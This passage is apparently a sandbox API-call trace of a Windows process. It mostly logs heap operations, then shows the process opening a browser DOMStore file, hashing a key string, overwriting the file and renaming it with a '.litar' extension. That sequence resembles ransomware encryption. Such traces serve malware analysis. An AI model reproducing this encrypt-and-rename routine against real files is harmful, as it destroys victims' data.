Size=0x820) returned 0x30e8ae0 [0127.996] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.996] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020c00 | out: hHeap=0x5c0000) returned 1 [0127.996] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020c00 [0127.996] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.996] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.996] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020c00 | out: hHeap=0x5c0000) returned 1 [0127.996] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020c00 [0127.996] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0127.996] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.996] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020c00 | out: hHeap=0x5c0000) returned 1 [0127.996] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020c00 [0127.996] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0127.996] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.996] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020c00 | out: hHeap=0x5c0000) returned 1 [0127.996] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020c00 [0127.996] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.996] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.996] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020c00 | out: hHeap=0x5c0000) returned 1 [0127.996] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020c00 [0127.996] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.996] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.996] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020c00 | out: hHeap=0x5c0000) returned 1 [0127.996] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020c00 [0127.996] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.997] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.997] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020c00 | out: hHeap=0x5c0000) returned 1 [0127.997] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020c00 [0127.997] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.997] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.997] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020c00 | out: hHeap=0x5c0000) returned 1 [0127.997] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020c00 [0127.997] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.997] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.997] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020c00 | out: hHeap=0x5c0000) returned 1 [0127.997] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020c00 [0127.997] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.997] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.997] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020c00 | out: hHeap=0x5c0000) returned 1 [0127.997] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020c00 [0127.997] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.997] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.997] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020c00 | out: hHeap=0x5c0000) returned 1 [0127.997] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020c00 [0127.997] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.997] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0127.997] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.997] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.997] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020c00 | out: hHeap=0x5c0000) returned 1 [0127.997] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020c00 [0127.997] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.997] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.997] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020c00 | out: hHeap=0x5c0000) returned 1 [0127.997] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020c00 [0127.997] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.998] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0127.998] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.998] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.998] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020c00 | out: hHeap=0x5c0000) returned 1 [0127.998] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020c00 [0127.998] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0127.998] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.998] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020c00 | out: hHeap=0x5c0000) returned 1 [0127.998] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020c00 [0127.998] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0127.998] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.998] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020c00 | out: hHeap=0x5c0000) returned 1 [0127.998] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020c00 [0127.998] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.998] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.998] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020c00 | out: hHeap=0x5c0000) returned 1 [0127.998] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020c00 [0127.998] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.998] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.998] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020c00 | out: hHeap=0x5c0000) returned 1 [0127.998] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020c00 [0127.998] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.998] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0127.998] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.998] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.998] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020c00 | out: hHeap=0x5c0000) returned 1 [0127.998] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020c00 [0127.998] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0127.998] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.998] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020c00 | out: hHeap=0x5c0000) returned 1 [0127.998] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020c00 [0127.999] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0127.999] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.999] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020c00 | out: hHeap=0x5c0000) returned 1 [0127.999] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020c00 [0127.999] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.999] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.999] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020c00 | out: hHeap=0x5c0000) returned 1 [0127.999] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020c00 [0127.999] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.999] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.999] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020c00 | out: hHeap=0x5c0000) returned 1 [0127.999] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020c00 [0127.999] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.999] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.999] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020c00 | out: hHeap=0x5c0000) returned 1 [0127.999] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020c00 [0127.999] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.999] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.999] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020c00 | out: hHeap=0x5c0000) returned 1 [0127.999] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\UV0DUWVB\\") returned="UV0DUWVB\\" [0127.999] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\") returned="DOMStore\\" [0127.999] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\") returned="Internet Explorer\\" [0127.999] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0127.999] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0127.999] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0127.999] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0128.000] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0128.000] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0128.000] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0128.000] PathFindFileNameW (pszPath="") returned="" [0128.000] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\UV0DUWVB\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0128.000] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020c00 | out: hHeap=0x5c0000) returned 1 [0128.000] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0128.000] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0128.000] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0128.000] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3037fd0 | out: hHeap=0x5c0000) returned 1 [0128.000] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020cc8 | out: hHeap=0x5c0000) returned 1 [0128.000] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0128.000] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0128.000] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\") returned="VGMTOI09\\" [0128.000] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\") returned="DOMStore\\" [0128.000] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\") returned="Internet Explorer\\" [0128.001] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0128.001] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0128.001] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0128.001] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0128.001] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0128.001] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0128.001] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0128.001] PathFindFileNameW (pszPath="") returned="" [0128.001] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0128.001] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020c00 | out: hHeap=0x5c0000) returned 1 [0128.001] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0128.001] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52878dd0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x344, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="www.msn[1].xml", cAlternateFileName="WWWMSN~1.XML")) returned 1 [0128.001] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\www.msn[1].xml") returned=".xml" [0128.001] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\www.msn[1].xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\vgmtoi09\\www.msn[1].xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0128.002] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=836) returned 1 [0128.002] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0128.004] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x31e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.004] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0128.015] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x344, lpOverlapped=0x0) returned 1 [0128.015] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0128.015] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0128.016] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0128.016] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0128.016] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a07c8) returned 1 [0128.016] CryptCreateHash (in: hProv=0x6a07c8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0128.016] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0128.016] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0128.016] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0128.016] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0128.017] GetLastError () returned 0x0 [0128.017] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0128.017] CryptReleaseContext (hProv=0x6a07c8, dwFlags=0x0) returned 1 [0128.017] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0128.017] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x340) returned 0x30950c0 [0128.017] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0128.017] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0128.017] WriteFile (in: hFile=0x624, lpBuffer=0x30950c0*, nNumberOfBytesToWrite=0x33f, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30950c0*, lpNumberOfBytesWritten=0x398fb24*=0x33f, lpOverlapped=0x0) returned 1 [0128.017] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30950c0 | out: hHeap=0x5c0000) returned 1 [0128.017] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x344, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.017] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8edc0 [0128.017] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30557d8 [0128.017] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30557d8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0128.017] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0128.017] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30557d8 | out: hHeap=0x5c0000) returned 1 [0128.017] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8edc0 | out: hHeap=0x5c0000) returned 1 [0128.017] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0128.017] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0128.017] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0128.017] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0128.017] CloseHandle (hObject=0x624) returned 1 [0128.020] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xe0) returned 0x3071b70 [0128.020] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8f0) returned 0x30fa0b0 [0128.020] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3071b70 | out: hHeap=0x5c0000) returned 1 [0128.020] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\www.msn[1].xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\vgmtoi09\\www.msn[1].xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\www.msn[1].xml.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\vgmtoi09\\www.msn[1].xml.litar")) returned 1 [0128.021] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0128.021] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0128.021] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6aef38 | out: hHeap=0x5c0000) returned 1 [0128.022] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52878dd0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x344, dwReserved0=0xa0000003, 